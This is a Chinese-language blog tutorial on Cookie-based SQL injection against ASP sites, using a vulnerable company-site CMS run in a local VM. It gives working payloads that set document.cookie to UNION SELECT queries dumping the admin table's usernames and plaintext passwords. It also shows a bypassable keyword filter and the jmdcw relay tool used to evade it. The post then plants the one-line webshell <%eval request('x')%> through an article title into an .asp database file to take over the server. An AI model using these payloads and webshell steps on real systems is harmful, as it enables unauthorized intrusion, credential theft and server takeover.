首先来看什么是CookieCookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。定义于RFC2109(已废弃),最新取代的规范是RFC2965 Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),浏览器会将Cookiekey/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用Cookie)。Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否是合法用户以及是否需要重新登录等。在ASP中,request对象获取客户端提交数据常用的是getpost两种方式,同时request对象可以不通过集合来获得数据,即直接使用“request("name")”,但它效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString(get),Form(post)CookieSevervariable集合的顺序来搜索的。Cookie是保存在客户端的一个文本文件,可以进行修改,这样一来就可以利用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击,这就是Cookie注入。

ASP网站是动态网站,很多信息都保存在数据库中,访问同一个页面,后面跟的参数不同显示的内容也不同,比如访问http://jn.sdo.com/web2.0/news.asp?id=820http://jn.sdo.com/web2.0/news.asp?id=821 显示的内容明显不同,如图122.jpg

1.jpg

 

可以看到id后面跟的数字不同,显示的内容也不同。在ASP中,id后面跟的数字是通过Request对象获得的。Request对象获取客户端提交数据常用的是Request.QueryStringRequest.Form两种方式,同时request对象可以不通过集合来获得数据,即直接使用:“request("name")”,但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,当没有QueryStringform提交时,就会尝试Cookie提交方式,而Cookie我们是可以修改的,漏洞就产生了。

    当通过Request.QueryString获得客户端提交的数据叫Get提交,通过Request.Form客户端提交数据叫post提交。没对通过getpost方式提交的数据进行过滤或没有过滤好产生的注入就是我们以前讲过的普通注入,不再重复。在通过Cookie进行数据提交时没对提交的数据过滤或没过滤好产生的注入就是Cookie注入。

    可能有的叉子不大明白,在当时讲注入的时候为什么没讲Cookie注入。其实Cookie注入和以前讲的注入还是有很大不同的。Cookie注入漏洞相对于普通的注入漏洞更难被发现,利用起来也比普通注入要麻烦一些。

    在是个人都能用工具进行注入攻击的年代,很多网站都进行了防注入防范,但并不是每个站长都会写防注入代码,就用网上的通用防注入程序。通用防注入程序可以防范常用的通过getpost方式提交进行的注入攻击,但有的通用防注入程序过滤并不严格,导致我们可以进行Cookie注入。

为了更直观的给大家介绍Cookie注入,我找到了一款存在Cookie注入漏洞的程序宜昌电脑网络公司v2.8版。我在虚拟机的Windows 2003系统中用IIS把程序跑了起来,访问地址为http://127.0.0.1/,如图33.jpg

存在Cookie注入漏洞的文件是网站根目录下的news_more.asp,关键代码如下:

<!--#include file="open.asp" -->
<%
id=Request("id")
if id="" then
 Response.end
end if
%>
    <%
    SQL="Select * from product Where id="&id
    Set rs=Server.CreateObject("ADODB.RecordSet")
    rs.open SQL,con,1,1
    %>

通过id=Request("id")获得id的值只判断非空后没有经过过滤(起码通过这里的代码没有看到明显的过滤代码)就带入了SQL查询,好像存在注入漏洞,找到一个链接http://127.0.0.1/news_more.asp?id=1094,用注入工具啊D检测一下,提示这个连接不能SQL注入!,如图4

4.jpg

在连接后面加个,,出来了您进行了非法操作 请不要在参数中包含非法字符尝试注入!的提示,如图5,看来有防注入代码。

5.jpg

防注入代码在哪里呢?在news_more.asp文件中没有看到,但文件第一句<!--#include file="open.asp" -->引起了我的注意,它的意思是包含news_more.asp同目录下的open.asp这个文件,防注入代码是不是在open.asp这个文件中呢?用记事本打开open.asp,果然发现了防注入代码,如图6

6.jpg

代码如下:

<%
Set con=Server.CreateObject("ADODB.Connection")
constr="provider=microsoft.jet.oledb.4.0;Data source="&Server.MapPath("admin/data/#admindata.asp")
con.open constr
%>
<%

Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name

'------定义部份  ----------------------------------------------------------------------

Err_Message = 1  '处理方式:1=提示信息,2=转向页面,3=先提示再转向

Err_Web = "" '出错时转向的页面

Query_Badword="'andselectupdatechrdelete%20from;insertmidmaster.setchr(37)="    

'在这部份定义get非法参数,使用""号间隔    

Form_Badword="'%&*#@()="     '在这部份定义post非法参数,使用""号间隔

'------定义部份  -----------------------------------------------------------------------

On Error Resume Next

'----- get query 值的过滤.

if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"
")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
Select Ca
se Err_Message
  Case "1"
Response.Write "<Script Language=JavaScript>alert('     
系统提示:您进行了非法操作↓\n\n请不要在参数中包含非法字符尝试注入!');window.close();</Script>"
  Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
  Case "3"
Response.Write "<Script Language=JavaScript>alert('
系统提示↓
\n\n请不要在参数中包含非法字符尝试注入!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if

'----- post 表单值的过滤.

if request.form<>"" then
Chk_badword=split(Form_Badword,"
")
FOR
EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
  Case "1"
Response.Write "<Script Language=JavaScript>alert('
系统提示↓\n\n请不要在参数中包含非法字符尝试注入!');window.close();</Script>"
  Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
  Case "3"
Response.Write "<Script Language=JavaScript>alert('
系统提示↓
\n\n请不要在参数中包含非法字符尝试注入!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if


%>

    通过防注入代码给出的注释可以看到对通过getpost提交方式进行的注入都进行了过滤,啊D只能通过get方式提交注入代码,自然不能注入了。细心的你有没有注意到,open.asp这个文件中的防注入代码只过滤了通过getpost提交方式进行的注入,却没对通过Cookie方式提交的内容进行过滤,而id=Request("id")中的id又是通过request("name")的形式获取客户端提交数据的,满足Cookie注入的条件,下面我们来进行Cookie注入。

直接访问http://127.0.0.1/news_more.asp,显示空白页,如图77.png

 

因为我们没给它提交后面的参数。在浏览器的地址栏中输入如下代码:

javascript:alert(document.cookie="id="+escape("1094"))

然后回车,会弹出一个id=1094的对话框,如图8

8.jpg

点确定后刷新一下页面,成功显示了内容,如图9

9.jpg

和直接访问http://127.0.0.1/news_more.asp?id=1094时的页面(图10)完全一样,说明我们通过Cookienews_more.asp提交了参数id=1094

10.jpg

    下面给出进行Cookie注入时的注入语句:

javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"))

我们是通过javascriptCookie进行操作的,简单解释下上面的语句。“alert()”显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮;“document.cookie”我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用“alert(document.cookie)”调用当前页面的cookie数据项值,在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值;escape()函数将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能,一般情况下cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是利用javascript可以在本地浏览器中设置cookie,格式:name=valuename的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,namevalue中不能包含分号、逗号及空格,注入语句中往往有逗号和空格,所以我们要用到escape()函数对它们进行编码。

来条直观的注入语句javascript:alert(document.cookie="id="+escape("1094 and 1=1")),在浏览器的地址栏里回车,然后刷新,页面显示正常。把注入语句换成javascript:alert(document.cookie="id="+escape("1094 and 1=2")),页面显示不正常,如图11

11.jpg

下面来针对宜昌电脑网络公司v2.8版进行Cookie注入,通过查看数据库,发现存放news_more.asp所显示内容的表product共包括idpro_nameimgtitlecontentpub_date六个字段,如图1212.jpg

存放后台管理员用户名和密码的表是admin,包括idadminpwd 3个字段,密码没有经过加密,是明文存放的,如图13

13.jpg

构造如下注入语句

 javascript:alert(document.cookie="id="+escape("1094 and 1=2 union select 1,2,3,4,5,6 from admin")),回车刷新后显示如图14

14.jpg

发现465处都可以用来显示信息,我就用46处来显示了,构造如下注入语句

javascript:alert(document.cookie="id="+escape("1094 and 1=2 union select 1,2,3,admin,5,pwd from admin"))

直接爆出管理员的用户名和密码(分别是adminadmin),如图15

15.jpg

    “txcbg老师,你上面说的Cookie注入方法是手工注入,操作比较麻烦,还要输入那么长的注入代码,有没有可以进行Cookie注入的工具啊?我怕麻烦,呵呵。

学习的过程中可不能怕麻烦啊。不过话说回来,在进行Cookie注入中的确有工具可以利用的,比较常用的是寂寞的刺猬写的注入中转生成器—jmdcw,它可以把Cookie注入点转化成用常用注入工具比如呵DNBSI等就可以进行注入的注入点。软件打开后的界面如图16

16.jpg

因为我们是进行cookie注入,选择“COOKIE,然后软件的界面会发生一些变化。注入键名写注入点的变量名,这里是id=(变量名后必须跟上=),注入URL地址http://127.0.0.1/news_more.asp(有的可能需要写完整的注入点的地址,比如http://127.0.0.1/news_more.asp?id=1094),来源页http://127.0.0.1/news_more.asp?id=1094正常的Cookie不用管它,保持默认,“POST提交值jmdcw=00里的00改为1094,也就是改为注入点最后的那个参数,如图17

17.jpg

填写完成后点生成ASP”就会在jmdcw的所在的目录下生成注入中转文件jmCook.asp,把jmCook.asp放到支持asp的网站空间中,这里我还是放到了虚拟机里IIS搭建的网站中,访问地址是http://127.0.0.1/jmCook.asp,新的注入点就是http://127.0.0.1/jmCook.asp?jmdcw=1094jmdcw=1094眼熟吧,它就是图17中的“POST提交值,呵呵。访问一下http://127.0.0.1/jmCook.asp?jmdcw=1094,和http://127.0.0.1/news_more.asp?id=1094 页面完全一样,如图18

18.jpg

试着在http://127.0.0.1/jmCook.asp?jmdcw=1094 后面加一个,,显示不正常了,并且没有出现图5中的防注入提示,如图19

19.jpg

貌似我们已经绕过了防注入代码。用啊D检测一下http://127.0.0.1/jmCook.asp?jmdcw=1094 ,这次发现注入点了,如图20

20.jpg

检测结果为数据库类型为:Access数据库,然后通过猜表、猜字段成功猜解出管理员的用户名和密码(分别为adminadmin),与手工注入的结果相同,如图21

21.jpg

宜昌电脑网络公司v2.8版的后台地址为http://127.0.0.1/admin/,用得到的用户名和密码登录了后台,如图22

22.jpg

后台很简单,没有数据库管理的地方,自然也就不可能通过备份数据库得到webshell了。点添加文章发现编辑器用的是eWebEditor,但是eWebEditor的后台登录文件被删除了,不能利用。通过查看文件发现数据库是.asp后缀,文件为admin\data目录下的#admindata.asp,通过查看数据库中没有防下载表,考虑通过数据库插马获得webshell。点添加文章,标题写一句话代码<%eval request("x")%>,其它东西随便写,如图23

23.jpg

提交按钮后提示信息已经添加成功,用lake2eval最小马发送端连接http://127.0.0.1/admin/data/#admindata.asp ,写上密码x,却是该页无法显示,提示您所查找的页面无法显示,因为使用了无效的方法(HTTP 动作)进行访问,如图24

24.png

考虑到可能是一句话服务端地址中的#导致的问题,用小蔡写的URL编码转换工具把#转换成URL编码%23,用lake2eval最小马发送端连接http://127.0.0.1/admin/data/%23admindata.asp,这次一句话木马功能正常,成功得到webshell,如图25

25.jpg

    至此,通过Cookie注入成功拿到webshell

jmdcw虽然实现了Cookie注入点的工具注入,但需要生成注入中转文件,并不是每个人在进行Cookie注入的时候正好有空间存放注入中转文件,一直期待有一款工具可以像普通注入点一样直接对Cookie注入点进行注入,听有些大牛说有这个工具,它就是JCZ,软件界面如图26

26.jpg

它的数据提交方式包括GetPostCookieGetCookiePost4种,如图27

27.jpg

 

版权声明:若无特殊注明,本文皆为( August )原创,转载请保留文章出处。